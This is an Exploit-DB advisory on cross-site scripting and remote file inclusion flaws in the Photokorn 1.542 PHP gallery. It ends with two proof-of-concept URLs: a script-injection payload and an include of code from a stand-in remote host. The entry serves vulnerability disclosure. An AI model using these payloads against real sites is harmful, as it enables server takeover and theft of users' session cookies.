Photokorn 1.542 - Cross-Site Scripting and Remote File Include Vulnerabilities

2009-12-31T00:00:00
ID EDB-ID:33457
Type exploitdb
Reporter indoushka
Modified 2009-12-31T00:00:00

Description

Photokorn 1.542 Cross Site Scripting and Remote File Include Vulnerabilities. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/37559/info

Photokorn is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. The attacker may also execute script code in an unsuspecting user's browser or steal cookie-based authentication credentials. Other attacks are also possible.

Photokorn 1.542 is vulnerable; other versions may also be affected. 

http://www.example.com/sm-p1542/install.php?lang=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>
http://www.example.com/sm-p1542/index.php?lg=http://www.example.net/c.txt?